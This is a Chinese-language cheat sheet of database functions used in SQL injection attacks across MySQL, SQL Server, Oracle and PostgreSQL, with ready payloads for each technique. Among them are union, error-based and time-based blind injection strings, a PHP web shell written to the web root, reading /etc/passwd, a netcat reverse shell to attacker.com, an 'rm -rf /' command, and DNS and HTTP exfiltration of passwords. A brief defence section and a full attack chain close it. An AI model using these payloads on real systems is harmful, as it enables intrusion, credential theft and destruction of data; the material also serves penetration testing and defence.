目录
以下是SQL注入攻击中常用的数据库函数分类整理,覆盖主流数据库及其高危操作场景:
一、信息获取函数
1. 通用函数
-
DATABASE()
作用:获取当前数据库名称。 示例:UNION SELECT DATABASE()
-
USER()
/CURRENT_USER()
作用:获取当前数据库用户。 -
VERSION()
/@@VERSION
作用:获取数据库版本信息。
2. 元数据查询(INFORMATION_SCHEMA
)
-
TABLES
表 MySQL:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()
SQL Server:SELECT name FROM sysobjects WHERE xtype='U'
-
COLUMNS
表 Oracle:SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
二、字符串操作函数
1. 字符串连接
-
CONCAT(str1, str2)
示例:CONCAT('user=', USER())
-
||
(Oracle/PostgreSQL) 示例:' UNION SELECT 'user: ' || USER() --
2. 字符串截取
-
SUBSTRING(str, start, length)
示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)
-
SUBSTR()
(Oracle/PostgreSQL) -
LEFT(str, length)
/RIGHT(str, length)
3. 编码/解码
-
HEX()
/UNHEX()
用途:绕过WAF过滤,如SELECT HEX('admin')
→61646D696E
-
CHAR(ASCII_CODE)
示例:CHAR(97)
→a
三、报错注入专用函数
1. MySQL
-
UPDATEXML()
语法:UPDATEXML(XML_doc, XPath, new_value)
示例:AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)
-
EXTRACTVALUE()
语法:EXTRACTVALUE(XML_doc, XPath)
示例:AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))
2. SQL Server
-
CONVERT()
触发类型转换错误:CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))
-
ERROR_MESSAGE()
配合TRY-CATCH:BEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH
3. PostgreSQL
-
CAST()
示例:CAST((SELECT CURRENT_USER) AS INTEGER)
四、时间盲注函数
1. 通用延迟
-
SLEEP(seconds)
(MySQL) 示例:IF(1=1, SLEEP(5), 0)
-
PG_SLEEP(seconds)
(PostgreSQL) -
WAITFOR DELAY '0:0:5'
(SQL Server)
2. 计算密集型延迟
-
BENCHMARK(count, expr)
(MySQL) 示例:BENCHMARK(1000000, MD5('test'))
五、文件操作函数
1. 文件读取
-
LOAD_FILE()
(MySQL) 权限需求:FILE
权限,且secure_file_priv
未限制路径 示例:UNION SELECT LOAD_FILE('/etc/passwd')
-
pg_read_file()
(PostgreSQL) 示例:SELECT pg_read_file('/etc/passwd')
2. 文件写入
-
INTO OUTFILE
/INTO DUMPFILE
(MySQL) 示例:SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'
-
COPY
(PostgreSQL) 示例:COPY (SELECT 'malicious code') TO '/var/www/shell.php'
六、系统命令执行函数
1. SQL Server
-
xp_cmdshell
示例:EXEC xp_cmdshell 'whoami'
防御:需禁用xp_cmdshell
组件。
2. PostgreSQL
-
COPY FROM PROGRAM
示例:COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'
3. MySQL(需特殊条件)
-
sys_exec()
(UDF提权后) 示例:SELECT sys_exec('rm -rf /')
七、带外通信(OOB)函数
1. DNS外传数据
-
LOAD_FILE()
(MySQL) 示例:LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))
-
UTL_HTTP.REQUEST()
(Oracle) 示例:SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL
2. HTTP请求
-
HTTPURITYPE
(Oracle) 示例:SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL
八、高级聚合函数
1. 数据聚合
-
GROUP_CONCAT()
(MySQL) 示例:GROUP_CONCAT(table_name SEPARATOR ',')
用于一次性获取所有表名。 -
STRING_AGG()
(SQL Server/PostgreSQL) 用途:合并多行结果为单个字符串。
九、JSON/XML操作函数
1. MySQL
-
JSON_EXTRACT()
绕过技巧:SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))
2. SQL Server
-
OPENJSON()
示例:SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))
十、防御规避函数
1. 编码混淆
-
TO_BASE64()
/FROM_BASE64()
(MySQL 5.6+) 示例:SELECT FROM_BASE64('YWRtaW4=')
→admin
-
ASCII()
/ORD()
用途:盲注中逐字符转换ASCII值。
2. 动态执行
-
EXEC()
(SQL Server) 示例:EXEC('SELECT * FROM users')
-
PREPARE
/EXECUTE
(MySQL) 示例:SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;
总结与防御建议
-
禁用高危函数:如
xp_cmdshell
、FILE
权限等。 -
输入过滤:严格校验参数类型,过滤
UNION
、SLEEP
等关键词。 -
最小权限原则:数据库账户仅授予必要权限。
-
监控异常查询:如频繁出现
INFORMATION_SCHEMA
访问或LOAD_FILE()
调用。
示例攻击链:
' UNION SELECT NULL, CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), LOAD_FILE('/etc/passwd') --
掌握这些函数的作用机制,可更精准地设计防御策略与检测规则。